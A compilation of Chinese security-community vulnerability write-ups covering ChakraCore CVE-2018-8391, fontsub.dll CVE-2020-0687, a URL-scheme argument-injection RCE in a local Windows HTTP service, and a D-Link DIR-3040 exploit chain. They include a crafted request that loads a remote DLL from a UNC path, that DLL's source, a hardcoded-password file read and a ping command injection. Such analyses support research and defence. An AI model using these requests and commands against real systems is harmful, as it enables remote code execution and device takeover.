[email protected]
图16 地址（API）重定向
图17 API重定向流程
运行：
如果我们希望运行某个函数，只需要找到它的入口地址，即可直接运行。比如main函数，我们通过解析Mach-O文件中Load
Commands的LC_MAIN数据，从而获得它的相对入口地址，再加上之前我们获得的slide和text_vm_addr，就可以算出它的绝对（真实）入口地址。
图18 算出main函数的绝对（真实）入口地址，并直接运行它
回调
Delegate是iOS开发常用的设计模式，所以我们也需要实现相应的回调。我们通过解析Mach-O文件中ObjC2
Class的数据，来获得Delegate类。然后，再解析它（比如AppDelegate）的Protocol数据，来获得Framework里对应的类（比如UIKit的UIApplication）最后，再解析它的Method数据，并注册到NSNotificationCenter。
图19 回调流程
图20 运行效果
2.4部署
最初研究或小批量试验，可以使用一些厂商的云服务，或者采用低成本的树莓派集群。而我们为了更好的匹配重新设计的动态沙箱（蜜罐）系统，采用了公司现有的ODM（Original
Design Manufacturer）专用Aarch 64服务器。
图21 自研服务器
### 团队介绍
美团安全部的大多数核心人员，拥有多年互联网以及安全领域实践经验，很多同学参与过大型互联网公司的安全体系建设，其中也不乏全球化安全运营人才，具备百万级IDC规模攻防对抗的经验。安全部也不乏CVE“挖掘圣手”，有受邀在Black
Hat等国际顶级会议发言的讲者，当然还有很多漂亮的运营妹子。
目前，美团安全部涉及的技术包括渗透测试、Web防护、二进制安全、内核安全、分布式开发、大数据分析、安全算法等等，同时还有全球合规与隐私保护等策略制定。我们正在建设一套百万级IDC规模、数十万终端接入的移动办公网络自适应安全体系，这套体系构建于零信任架构之上，横跨多种云基础设施，包括网络层、虚拟化/容器层、Server
软件层（内核态/用户态）、语言虚拟机层（JVM/JS
V8）、Web应用层、数据访问层等，并能够基于“大数据+机器学习”技术构建全自动的安全事件感知系统，努力打造成业界最前沿的内置式安全架构和纵深防御体系。
随着美团的高速发展，业务复杂度不断提升，安全部门面临更多的机遇和挑战。我们希望将更多代表业界最佳实践的安全项目落地，同时为更多的安全从业者提供一个广阔的发展平台，并提供更多在安全新兴领域不断探索的机会。
### 招聘
美团安全2019年招聘火热进行中~
如果你想加入我们，欢迎简历请发至邮箱[email protected]。
[具体职位信息，可点击“这里”进行查看。](http://mp.weixin.qq.com/s?__biz=MzI5MDc4MTM3Mg==&mid=2247483981&idx=1&sn=773534f644dfb9bbe4c010bbd8d3347f&chksm=ec1be39edb6c6a88b1be288dc2240e902a0d93779e5cdb0522be66f6c5184a8d38071edad7f6&scene=21#wechat_redirect) | 社区文章 |
**作者: Qixun Zhao(@S0rryMybad) of Qihoo 360 Vulcan Team
博客：<https://blogs.projectmoon.pw/2019/01/13/Story1-Mom-What-Is-Zero-Multiplied-By-Infinity/>**
今天我们文章介绍的是CVE-2018-8391,对应的[patch
commit](https://github.com/Microsoft/ChakraCore/pull/5688/commits/f12d847c3beff4c2722a650fa9ac2418de41fb14).
这是一个关于Loop循环的越界读写漏洞,漏洞的成因十分有趣.我们都知道零乘以无限等于零,但是开发人员在写代码的时候忽略了这样的一种特殊情况.
在这里我除了介绍漏洞本身以外,还介绍了在引入了Spectre Mitigation之后的一种通用的Array OOB
RW利用方法.关于这个漏洞,我们还有后续的Story2.
**实验环境: chakraCore-2018-8-15附近的commit**
### 0x0 关于Loop的优化
在之前的[文章](https://blogs.projectmoon.pw/2018/10/26/Chakra-JIT-Loop-LandingPad-ImplicitCall-Bypass/)中我们已经简单介绍过关于Loop的优化,在编译器的优化过程中,我们需要把很多在Loop中不需要变化的指令hoist到LandingPad中,不然每次循环会执行很多没必要的指令.而在针对数组的边界检查中,有一种特殊的优化处理方法,这种优化是针对在循环`inductionVariable`并且用`inductionVariable`进行数组访问的情况.`inductionVariable`就是循环中的自变量.举个例子最直接:
这里i就是`inductionVariable`,并且arr2用i进行数组访问.优化的详情在`doLowerBoundCheck`和`doUpperBoundCheck`这两个函数中.这里用`doUpperBoundCheck`作为例子.
我们可以看到最下面有一个`|CreateBoundsCheckInstr|`的函数,用于生成一个boundcheck指令,用于检查`|indexSym <=
headSegmentLength + offset (src1 <= src2 +
dst)|`(注释已经很清楚).只需要通过这个检查,在下面的循环中就不会再有任何边界检查,因为已经hoist到LandingPad中,问题的关键就出在这个边界检查中.所以关键是这个检查是怎么保证在循环中数组的访问一定不会发生越界呢?
HeadSegmentLength很清楚就是数组的长度,问题就在于这个indexSym是怎么得来的,通过阅览代码我们可以发现是在上面的函数`|GenerateSecondaryInductionVariableBound|`(生成的`hoistInfo.IndexSym`最终用于初始化lowerBound这个Opnd).
### 0x1 GenerateSecondaryInductionVariableBound的计算方法
这个函数根据字面意思已经很清楚,就是计算`inductionVariable`的取值范围,只有`inductionVariable`的最大值少于`HeadSegmentLength`,循环中的数组访问必定不会越界.
至于计算的方法其实代码的注释已经十分清楚,下面我截取代码的注释来解释:
`inductionVariable`就是我们i的初始化值,也就是我们上图的start,而`loopCountMinusOne`的计算方法在`GenerateLoopCount`函数中:
在这里我用我小学毕业的数学知识把这个公式变换一下,得到如下的等式,当然要注意运算符号的顺序: `(left - right + offset) /
minMagnitudeChange * maxMagnitudeChange + inductionVariable`
这里简单结合js代码介绍一下各个变量的含义:
函数中:
Left对应的是end变量,right对应的是start,至于offset我们不用太在乎,如果判断条件是`|i<end|`,则offset是-1,如果是`|i<=end|`,则offset是0,对我们影响都不大.`minMagnitudeChange`是自变量在每一次循环中可能增加的最小值,这里是1(也就是if条件不成立的时候),同理`maxMagnitudeChange`
是可能增加的最大值,这里是0x1001,也就是if条件成立的时候,`inductionVariable`我们上面已经提到,也就是start,最终得到的公式与Opcode如下:
结合我们文章的题目,聪明的读者肯定已经想到问题出在哪里.
### 0x2 Mom,零乘以无限等于多少?
上述的公式在计算i的取值范围的时候已经十分保守了,因为没可能每一次循环i都是增加最大值,但是它忽略了一种特殊情况:zero.当(end- start -1) / 1等于0的时候,无论它后面乘以多大的数,结果都是0,最后边界检查就是只需要start <
headSegmentLength即可,而这个边界检查是不安全的(试想maxMagnitudeChange 远远大于headSegmentLength).
有了越界读写的能力,下一步就是如何利用了,chakraCore在这个[commit](https://github.com/Microsoft/ChakraCore/commit/e664e1809fdc79dc27e426f986d061a85e89d261#diff-24781bfa8dd1a4dfe06fdd122676b9c1)中加入了一个mitigation,
这个commit简单来说在每一次数组访问的时候都会再次检查index是否少于数组的长度,如果不少于就直接crash,本来是用于防御Spectre,但是也把这些越界读写漏洞堵住了.换句话说,即使bypass了boundcheck,还要这些mask指令需要bypass.在刚引入的时候,很多人都觉得这种越界读写的漏洞不能再利用了.
这些指令的引入是十分拖累速度的,千辛万苦才消去了boundcheck的检查,又引入这个措施等于boundcheck的消去毫无意义,特别是在Loop中,每一次的循环都要运行这些没必要的mask指令,因此微软很快就引入了一个优化措施,在某些情况下hoist这些mask指令到循环外.由于这个优化措施比较复杂,这里只能简单介绍一下,它存在于Backward阶段的processBlock中,相关代码如下:
首先遍历所有的opnd,查看这个opnd的有没有type-specialized,这里我们可以理解成有没有针对特定类型的优化,例如Float64等等,如果没有则记录下这个Sym的id,记录下的id最终在这里进行判断:
如果这里满足两个条件,如果是LdElemI_A指令并且之前没有把Opnd的Sym记录下来,则把这个指令`SetIsSafeToSpeculate(true);`意思是不需要添加mask指令,最终在一个air
block中加入防御指令:
这个指令是架构相关的,不同架构有不同实现,这里与我们讨论的无关,不再展开.
换句话说,第一数组的访问必须在loop里面,触发它的loop优化机制,第二我们只能进行数组的load并且数组是int32类型或者float64类型,则我们可以把mask指令hoist到loop外.但是单单有这样的越界读(除非再多一个object数组的越界读)是不够的,我们需要更多的东西去RCE.
### 0x3 Hi, MissingValue Again
有了越界读,我们是可以越界读取一个missingValue的值的,只要我们首先初始化一个数组,然后把这个数组的length重新设置,例如:
则在它的index
4的地方有一个missingValue,同时也满足了HasNoMissingValue为true,如果不满足在后续我们JIT取出该值的时候是要bailout的,内存区域如下:
这时候如果我们能off by one index,我们就能读取到这个missingValue,然后我们可以用这个missingValue创建一个evil
Array:HasNoMissingValue为true,但是headSegment中带有missingValue,最终创建evil
Array的PoC如下:
有了这样的数组,离RCE还远吗,网上已经有大量的利用例子.可以参考我们的[第一篇文章](https://blogs.projectmoon.pw/2018/08/17/Edge-InlineArrayPush-Remote-Code-Execution/)或者[project-zero](https://bugs.chromium.org/p/project-zero/issues/detail?id=1581&can=1&q=owner%3Alokihardt%40google.com&colspec=ID%20Status%20Restrict%20Reported%20Vendor%20Product%20Finder%20Summary&start=100&desc=2)
或者 From zero to zero day
剩下的就作为读者的练习吧.
### 0x4 总结
零乘以无限等于零
* * * | 社区文章 |
**作者：yyjb, redrain@360高级攻防实验室
原文链接：<http://noahblog.360.cn/cve-2020-0687_analysis/>**
3月23日，微软公司发布了一份编号 **ADV200006** 的紧急漏洞通告，通告表示有在野攻击行动使用了位于 **Adobe Type Manager
Library** 中的两个远程代码执行0Day漏洞，由于漏洞严重，发布该通告指导用户在补丁发布前规避风险。
4月15日的补丁日中，微软发布了针对此风险通告的补丁外，还对一个字体库漏洞CVE-2020-0687进行修复，诺亚实验室第一时间对补丁进行了比对分析，并确认了漏洞的利用性，两个漏洞均属于高危远程代码执行漏洞，由于CVE-2020-0938/CVE2020-1020已有安全团队验证并形成POC，本文将会着笔于vincss报告的CVE-2020-0687进行简要技术分析。
## 根本原因
漏洞产生于字体处理库fontsub.dll的ReadTableIntoStructure中，由于循环逻辑中读取数据赋值检查不严格，在数据拷贝到目的堆后超过原申请的堆内存大小，形成堆溢出漏洞。
## 补丁细节分析
通过补丁比对，我们很快确认了问题函数
__int64 __fastcall ReadTableIntoStructure(__int16 *a1, _WORD *a2, unsigned __int16 *a3)
通过前后差异判别，可以看出补丁代码将while循环的一个返回条件放到了循环入口处，其目的是为了防止当变量v5中的变量大于v3[4]中保存的的变量时，会执行一次while循环的第一句赋值代码。
故原始漏洞代码中存在判断不严谨的情况，将会导致ReadGeneric中读取到的4字节数据，放入至一个结构体数组中：
通过跟踪v3和v5返回上层调用函数可知，v3在上层函数MergeEblcEbdtTables中，是作为一个从新申请的堆内存的大小参数进行传递的；而v5则是作为ReadTableIntoStructure中第三个参数，可以理解为一个类似Table大小的变量。
而此处的堆空间大小则是由v92来决定，根据跟踪的情况，v92将由漏洞触发函数中的v3[4]确定：
由于漏洞触发点的while循环语句中首句代码作用是向这个堆数组添加从ReadGeneric读取的数据，若我们控制v5变量大于v3[4]时，将会导致拷贝到目的堆中数据超过申请堆内存的最大值+16，ReadGeneric中所读取的数据将会覆盖到已申请堆空间后置位+16个字节中的4个字节数据，从而形成明显的堆溢出。
## 构造思路
我们通过跟踪漏洞触发函数可以发现，该触发所属模块用于处理MergeFonts字体，通过对应的table类型(EblcEbdt
Tables)也可以轻松找到漏洞触发函数路径。
通过查阅MergeFonts结构信息，可精心构造相应字体控制上述覆盖，形成常规堆溢出利用。
## 修复
如上图示，微软的修复方案是通过判断v5和v3[4]的比值大小，避免ReadGeneric读取值覆盖。
## 漏洞影响
该漏洞影响面极大，以下为漏洞影响的操作系统版本：
> Windows 10 for 32-bit Systems
> Windows 10 for x64-based Systems Windows 10 Version 1607 for 32-bit Systems
> Windows 10 Version 1607 for x64-based Systems
> Windows 10 Version 1709 for 32-bit Systems
> Windows 10 Version 1709 for ARM64-based Systems
> Windows 10 Version 1709 for x64-based Systems
> Windows 10 Version 1803 for 32-bit Systems
> Windows 10 Version 1803 for ARM64-based Systems
> Windows 10 Version 1803 for x64-based Systems
> Windows 10 Version 1809 for 32-bit Systems
> Windows 10 Version 1809 for ARM64-based Systems
> Windows 10 Version 1809 for x64-based Systems
> Windows 10 Version 1903 for 32-bit Systems
> Windows 10 Version 1903 for ARM64-based Systems
> Windows 10 Version 1903 for x64-based Systems
> Windows 10 Version 1909 for 32-bit Systems
> Windows 10 Version 1909 for ARM64-based Systems
> Windows 10 Version 1909 for x64-based Systems
> Windows 7 for 32-bit Systems Service Pack 1
> Windows 7 for x64-based Systems Service Pack 1
> Windows 8.1 for 32-bit systems
> Windows 8.1 for x64-based systems
> Windows RT 8.1
> Windows Server 2008 for 32-bit Systems Service Pack 2
> Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core
> installation)
> Windows Server 2008 for Itanium-Based Systems Service Pack 2
> Windows Server 2008 for x64-based Systems Service Pack 2
> Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core
> installation)
> Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1
> Windows Server 2008 R2 for x64-based Systems Service Pack 1
> Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core
> installation)
> Windows Server 2012
> Windows Server 2012 (Server Core installation)
> Windows Server 2012 R2
> Windows Server 2012 R2 (Server Core installation)
> Windows Server 2016
> Windows Server 2016 (Server Core installation)
> Windows Server 2019
> Windows Server 2019 (Server Core installation)
> Windows Server, version 1803 (Server Core Installation)
> Windows Server, version 1903 (Server Core installation)
> Windows Server, version 1909 (Server Core installation)
## 修复建议
由于该漏洞还涉及到已经停止服务的win7系统，我们建议Windows用户及早进行修复，相关建议如下：
通过微软补丁页面寻找对应操作系统的补丁，进行手工修复
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0687>
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0938>
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1020>
或通过 **360安全卫士** 实现对应操作系统补丁自动修复。
<http://www.360.cn/brain_of_security/>
* * * | 社区文章 |
**作者：0xcc
公众号：[非尝咸鱼贩](https://mp.weixin.qq.com/s/goqpp6JR9WgmUR1wyiXXrQ "非尝咸鱼贩")**
这个公众号一直都在写 iOS 和 mac 相关的，这一篇来换一换口味。这个问题是某个第三方软件的远程代码执行漏洞，结合了本地 TCP
端口的分析、Windows 的 URL Scheme 机制的知识，已经报给相关厂商进行修复。
* * *
一些 PC 端软件通常会在本地监听固定的端口，通过 http 服务的方式向任意浏览器提供后门调用。虽然方便了网页前端开发，却添加了新的攻击面，甚至产生
Web 层面的安全漏洞。
首先使用 sysinternals 工具包里的 TCPView 可以观察到一个第三方的系统服务在 0.0.0.0 上监听了一个 TCP
端口。当然用系统自带的 netstat 命令也可以。
用 IDA Pro 静态分析后发现这是一个 http 服务：
C:\Users\haha>curl http://localhost:12345/getinfo -v
> GET /getinfo HTTP/1.1
> Host: localhost:11066
> User-Agent: curl/7.55.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Content-Type: text/html
< Server: SOME LocalWeb Server
< Content-Length: 64
< Accept-Ranges: bytes
< Access-Control-Allow-origin: *
< Connection: close
<
someclientinfo({"ver" : "10.12.2789.0" , "_ver" : 50180920})
这个服务不但没有做任何鉴权，还设置了任意网站可访问的 CORS 头（Access-Control-Allow-origin: *），而且是一个 JSONP
的接口。
除了获得版本之外，还有两个接口用来在浏览器中拉起本地 PC 客户端：
* http://localhost:12345/startclient?cmd=someapp://
* http://localhost:12345/pullclientjpg?cmd=someapp://
两个接口看上去非常像。
它们都要求 cmd 参数是以 someapp:// 开始的字符串，如果满足条件，就会传递给 ShellExecuteW 打开 URL Scheme。
区别在于，第一个接口（startclient）存在一个 bug。这个 http 服务是厂商在 C++
上自行实现的，没有用到功能更完备的库，因此在处理一些参数的时候不能完全遵守 http 协议的行为。
startclient 接口使用 GET 获取参数，却没有考虑 URL encode 解码的问题。而 cmd 参数当中出现需要 URL
编码的字符串的概率很大。估计是开发者也意识到了这个问题，保留这个接口用来兼容，但又实现了一个新的接口 pullclientjpg。
第二个接口行为基本一致，多了一层对 cmd 参数的解码，解决了之前的 bug。这个接口将返回一个 1x1 像素的图像。
通过网页拉起特定客户端可以使用 URL scheme 的方式，无论是桌面平台还是手机，主流系统都提供了这种又被称为 Universal Link 的机制。
因为涉及到应用切换，为了安全和用户体验考虑（不能被滥用弹窗），浏览器一般会警告用户，要求确认操作。
上文提到的虫洞显然是为了规避这个对话框而设计。但由于 Windows 处理 Universal Link
存在历史遗留的坑，导致了一个严重的远程代码执行问题。
Windows 平台上的 URL Scheme 注册方式和文件扩展名一样都在注册表。也可以用 ftype 命令查看关联信息：
> ftype telnet
由于历史遗留的设计，而 Win32 程序传递 URL（这里需要和 UWP 区分，后者机制不同）是通过命令行参数传递的。
在默认关联应用打开 URL 使用 ShellExecute* 系列函数，而这个函数也可以直接用来运行任意命令。再与 macOS 比较，现在 mac 上
URL 是 URL，命令行是命令行，泾渭分明。
这里给许多第三方应用程序开发者留下了一个坑。假如 URL 处理不当，很容易产生命令行参数注入问题。虽然 ShellExecute 并不像 system
那样支持 shell 命令注入，但结合具体应用程序的业务逻辑，仍然有可能造成远程代码执行。
在本文的例子当中，someapp:// 对应的程序关联如下：
C:\Program Files\SomeApp\someapp.exe "%1"
回到前文的 pullclientjpg 接口，这时候给 cmd 参数传入一个带引号的字符串将原始的参数闭合：
http://localhost:12345/pullclientjpg?cmd=%22%20-evilflag%3D%22AAA
将执行：
C:\Program Files\SomeApp\someapp.exe "someapp://" -evilflag="AAA"
cmd 参数里的引号和空格都被解码后传递给应用程序，除了被截断的 URL 之外，命令行多出来一个 -evilflag 参数。
那么这时候分析 WinMain 函数的调用，逐步走到检查命令行参数的逻辑。如下是其中一部分命令行参数：
-writecookie
-delcookie
-preloadplayermodule
-minidump
-loadmodule
这个 -loadmodule 参数粗暴简单，将对应的字符串传给 LoadLibraryExW 加载运行。因此通过给 someapp://
闭合添加恶意参数，就可以拉起 PC 端应用并加载任意路径的 DLL。
到这里还需要用到 Windows 的一个特性就是 UNC Path。
Windows 系统可以通过 \servername\sharename
的方式访问远程服务器上共享的文件，由操作系统直接处理路径和网络通信，应用程序本身并不需要直接支持相关协议客户端的功能。LoadLibrary 函数便可以通过
UNC 来直接下载并运行远程的动态链接库。
远程共享的协议可以是 SMB 和 WebDAV。由于运营商出于安全考虑在公网上屏蔽了 SMB 相关端口，选择这个协议只在局域网内蠕虫传播有效果。但
WebDAV 可以走 80（或者 443）端口，因此既可以做到主动传播也可以挂马。
串联起来的效果就是，只要给这个服务发送一个构造好的 HTTP 请求，就会拉起客户端，下载运行任意代码。
http://localhost:12345/pullclientjpg?cmd=someapp://%22%20-loadmodule%20%22%5C%5Cexample.com%5Chaha%5Cevil.dll%22%20%22
DLL 的示例代码如下，弹出对话框假装只是 XSS 而已：
#include "stdafx.h"
#include <shellapi.h>
void poc()
{
wchar_t wCmd[] = L"C:\\Windows\\System32\\calc.exe";
MessageBoxA(NULL, "xss!", "alert", MB_ICONEXCLAMATION);
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessW(NULL, wCmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
ExitProcess(0);
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
poc();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
把这个 DLL 通过 smb 或者 WebDAV（推荐后者）发布即可。Windows 自带的 IIS 就可以配置 WebDAV
服务器，步骤繁琐，建议使用这个 Python 的实现：https://github.com/wolf71/TinyWebDav
前文提到这个 http 服务是监听在 0.0.0.0 上的。所以攻击向量可以是：
1. 1-click 的浏览器钓鱼。通过在网页挂马的形式感染受影响的客户端。一个 就可以实现
2. 0-click 蠕虫传播。在公网和局域网上直接批量扫描对应的端口并执行任意代码
在软件漏洞研究上，无论是攻击还是防御，攻击面都是一个很重要的因素。开发者设计这个功能的初衷可能是为了减少弹窗，提升用户体验，却不巧增加了攻击面。在引入一个功能的时候，不妨多想想带来的风险和功能的实用性是否划算？
这个漏洞可蠕虫可挂马，也利用到了 Windows 的一些特性，算是很典型的通过逆向挖 Web 洞的体验。
出于负责任披露考虑，文中出现的具体端口、字符串等做了模糊化处理。
* * * | 社区文章 |
**作者：OneShell@知道创宇404实验室
时间：2021年7月26日**
7月中旬，Cisco Talos安全研究员Dave MacDaniel公布了D-Link DIR
3040（固件版本1.13B03）的多个CVE漏洞的具体利用细节，这些漏洞环环相扣，从硬编码密码导致的信息泄露一步步到无需认证的RCE，具体的漏洞编号和漏洞描述如下：
* CVE-2021-12817：Zebra服务因读取任意文件设置登录banner导致的敏感信息泄露
* CVE-2021-12818：Zebra服务使用硬编码密码zebra
* CVE-2021-12819：可通过访问https:///start_telnet开启telnet，并使用管理员密码登录，其中提供的功能例如ping存在命令注入
从这三个漏洞的描述就可以看出攻击链大概就是：先使用Zebra硬编码密码登录，然后通过读取任意文件窃取管理员admin密码，再开启telnet，最后实现命令注入，将一个本来是后认证的RCE组合变成了无条件RCE。下面就先直接上图说明漏洞利用的可行性，然后再进行原理的分析。
## 攻击链复现
我手头上是有一个部署在公网的路由器DIR 3040，一开始端口是没有开启telnet的，下图是我复现漏洞成功后，没有关闭telnet。
# oneshell @ UbuntuDev in ~ [23:44:30] C:130
$ nmap -Pn X.X.X.X
Starting Nmap 7.60 ( https://nmap.org ) at 2021-07-22 23:44 PDT
Nmap scan report for XXX.XXX.com (X.X.X.X)
Host is up (0.28s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE
23/tcp open telnet
53/tcp open domain
80/tcp open http
443/tcp open https
2602/tcp open ripd
首先使用telnet登录开启了Zebra的2601端口，使用硬编码密码zebra，实际上也是服务的默认密码，Zebra使用默认密码在06年的时候就爆出来过一些。
# oneshell @ UbuntuDev in ~ [23:42:09] C:1
$ telnet X.X.X.X 2601
Trying X.X.X.X...
Connected to X.X.X.X.
Escape character is '^]'.
___ ___ ___
/__/\ / /\ / /\
_\_ \:\ / /::\ / /:/_
/__/\ \:\ / /:/\:\ / /:/ /\
_\_ \:\ \:\ / /:/~/:/ / /:/ /::\
/__/\ \:\ \:\ /__/:/ /:/___ /__/:/ /:/\:\
\ \:\ \:\/:/ \ \:\/:::::/ \ \:\/:/~/:/
\ \:\ \::/ \ \::/~~~~ \ \::/ /:/
\ \:\/:/ \ \:\ \__\/ /:/
\ \::/ \ \:\ /__/:/
\__\/ \__\/ \__\/
----------------------------------------------------- BARRIER BREAKER (%C, %R)
----------------------------------------------------- * 1/2 oz Galliano Pour all ingredients into
* 4 oz cold Coffee an irish coffee mug filled
* 1 1/2 oz Dark Rum with crushed ice. Stir.
* 2 tsp. Creme de Cacao
-----------------------------------------------------
User Access Verification
Password:
Router> enable
Password:
Router# configure terminal
Router(config)# banner motd file /etc/passwd
Router(config)# exit
Router# exit
Connection closed by foreign host.
使用telnet再次登录，就会发现，登录提示的banner已经把/etc/passwd文件显示出来了。在/etc/passwd中的密码是以md5的形式保存的，有能力的师傅可以尝试解出来，但是，admin的明文账号密码是被保存在/var/2860_data.dat文件中的，那么设置banner到这个文件就可以成功读取到admin的明文密码，为下一步的认证RCE做准备。
这个时候访问https:///start_telnet开启路由器的测试CLI，这个页面访问的结果返回是404，不用担心，已经成功开启了设备的telnet了。然后可以使用上一步得到的admin账号密码登录，然后也可以看到，在ping那个功能处存在命令注入。
# oneshell @ LAPTOP-M8H23J7M in ~ [14:54:22] C:1
$ telnet X.X.X.X
Trying X.X.X.X...
Connected to X.X.X.X.
Escape character is '^]'.
D-Link login: admin
Password:
libcli test environment
router> help
Commands available:
help Show available commands
quit Disconnect
history Show a list of previously run commands
protest protest cmd
iwpriv iwpriv cmd
ifconfig ifconfig cmd
iwconfig iwconfig cmd
reboot reboot cmd
brctl brctl cmd
ated ated cmd
ping ping cmd
router> ping -c 1 8.8.8.8.;uname -a
ping: bad address '8.8.8.8.'
Linux D-Link 3.10.14+ #1 SMP Fri Aug 14 18:42:10 CST 2020 mips GNU/Linux
## 漏洞分析
漏洞的利用顺序是从CVE-2021-12818到CVE-2021-12817再到CVE-2021-12819，分析顺序也是按照这个来进行。顺便强调一下，这篇文章是偏向于分析，很多线索都是基于已有的漏洞信息来进行推断的，然后菜菜的我尽量去揣测挖洞大佬是怎么找出这个漏洞的，并说出自己猜测的思路，如果有不正确或者师傅们有更好的思路，还望指出来，蟹蟹！
### 固件分析
第一步是获取到存在漏洞的固件，固件已经是最新固件了。关于从固件中提取文件系统，可以参考我之前写的这篇文章：[加密固件之依据老固件进行解密](https://genteeldevil.github.io/2021/07/22/%E5%8A%A0%E5%AF%86%E5%9B%BA%E4%BB%B6%E4%B9%8B%E4%BE%9D%E6%8D%AE%E8%80%81%E5%9B%BA%E4%BB%B6%E8%BF%9B%E8%A1%8C%E8%A7%A3%E5%AF%86/)。下面说一下如何从文件系统中先对整个路由器有个大致的了解。这个地方推荐使用[FirmWalker](https://github.com/craigz28/firmwalker)，一个对固件进行简单分析的sh脚本。分析的出来的结果太多了，就不展示出来，直接简单说一下分析结果：
* 后台使用的是lighttpd，一个常见的嵌入式后端。
* 看到有使用sqlite3的so，可能使用到了相关的，不知道有没有命令注入的可能。
* 有telnetd程序，可以通过telnet登录；有tftp、curl，可以用于下载文件，例如针对路由器架构编译的恶意程序。
### CVE-2021-12818：Zebra服务硬编码密码
这个漏洞是Zebra服务使用了默认密码zebra。Zebra 是一个 IP
路由管理器，可提供内核路由表更新、接口查找以及不同路由协议之间路由的重新分配。DIR-3040
默认在TCP端口2601上运行此服务，任何人都可以访问。漏洞披露者的分析应该是建立在通过UART等方式或者手中还有RCE漏洞获取shell查看到的，此处分析不了就直接进行后验证，直接通过前面的命令注入漏洞查看配置文件/tmp/zebra.conf
router> ping -c -1 8.8.8.8;cat /tmp/zebra.conf
ping: invalid number '-1'
hostname Router
password zebra
enable password zebra
### CVE-2021-12817：敏感信息泄露
Zebra提供了一个功能就是从指定目录的文件内容，设置登录提示的banner，通过这个功能可以读取敏感信息并显示。通过find找到zebra和zebli.so，分别在/sbin/zebra和/lib/libzebra.so.1.0.0中，然后可以通过IDA搜索关键字符，例如在libzebra.so中就找到了和banner相关的数据结构。
.data:0006D608 banner_motd_file_cmd:.word aBannerMotdFile_1
.data:0006D608 # DATA XREF: LOAD:00003AC0↑o
.data:0006D608 # cmd_init+708↑o ...
.data:0006D608 # "banner motd file [FILE]"
.data:0006D60C .word sub_1509C
.data:0006D610 .word aSetBannerBanne # "Set banner\nBanner for motd\nBanner fro"...
.data:0006D614 .align 4
.data:0006D620 .globl no_config_log_timestamp_precision_cmd
这个数据结构在cmd_init是这样进行引用的：
install_element(5, (int)&banner_motd_file_cmd);
zebra是一个开源项目，源代码官网ftp已经没有了，在GitHub上找到了一个[备份](https://github.com/zhouyangchao/zebra-dev)，也可以找到install_element的函数以及cmd_element结构体定义如下：
install_element (enum node_type ntype, struct cmd_element *cmd)
{
struct cmd_node *cnode;
cnode = vector_slot (cmdvec, ntype);
if (cnode == NULL)
{
fprintf (stderr, "Command node %d doesn't exist, please check it\n",
ntype);
exit (1);
}
vector_set (cnode->cmd_vector, cmd);
cmd->strvec = cmd_make_descvec (cmd->string, cmd->doc);
cmd->cmdsize = cmd_cmdsize (cmd->strvec);
}
struct cmd_element
{
char *string; /* Command specification by string. */
int (*func) (struct cmd_element *, struct vty *, int, char **);
char *doc; /* Documentation of this command. */
int daemon; /* Daemon to which this command belong. */
vector strvec; /* Pointing out each description vector. */
int cmdsize; /* Command index count. */
char *config; /* Configuration string */
vector subconfig; /* Sub configuration string */
};
通过对应IDA和zebra源码中的结构体，可以猜测出来，回调函数是注册在sub_1509c这个函数，大概传入的参数就是：
int sub_1509c(struct cmd_element *, struct vty *, int, char **);
其中和文件描述符相关的是结构体vty，具体就不展开了，师傅们分析可以到zebra源码中去查看结构体vty的定义，这个结构体中是具体的一个zebra会话状态的相关描述，例如会话的权限、输入命令长度、命令缓冲区、历史命令等等。其实这个地方我分析得不是很明了，源码的执行逻辑还是有点绕，猜测安全研究人员应该是根据命令的提示，发现可以通过文件设置banner，然后尝试读取文件，或者研究人员有过类似的开发研究经历。
### CVE-2021-12819：测试环境CLI命令执行
首先分析是如何开启telnet的，通过访问https:///start_telnet即可，似乎不涉及到使用了某个CGI，那么直接在后端服务器lighttpd中去搜寻关键字telnet，查看字符串的交叉引用，然后看看执行逻辑。使用IDA可以看到，在函数`http_request_parse`中，有一段代码逻辑是：
if ( strstr(v13, "/start_telnet") )
{
log_error_write(a1, "request.c", 460, "s", "start telnet", v190, v191, v211, v231, v251);
system("telnetd -b 0.0.0.0");
}
接下来是分析，命令执行是如何发生的。命令执行漏洞是发生在cli中，那么可以先定位到cli和cli使用的so文件。使用find可以找到两个可疑的两个目标，/lib/libcli.so和/usr/bin/cli。先看可执行文件cli，通过搜索ping关键字可以直接定位到关键代码。
cli_register_command(cli_session, 0, "protest", cmd_protest, 0, 0, "protest cmd");
cli_register_command(cli_session, 0, "iwpriv", cmd_iwpriv, 0, 0, "iwpriv cmd");
cli_register_command(cli_session, 0, "ifconfig", cmd_ifconfig, 0, 0, "ifconfig cmd");
cli_register_command(cli_session, 0, "iwconfig", cmd_iwconfig, 0, 0, "iwconfig cmd");
cli_register_command(cli_session, 0, "reboot", cmd_reboot, 0, 0, "reboot cmd");
cli_register_command(cli_session, 0, "brctl", cmd_brctl, 0, 0, "brctl cmd");
cli_register_command(cli_session, 0, "ated", cmd_ated, 0, 0, "ated cmd");
cli_register_command(cli_session, 0, "ping", cmd_ping, 0, 0, "ping cmd");
cli_register_command(cli_session, 0, "sh", cmd_shell, 15, 0, "sh cmd");
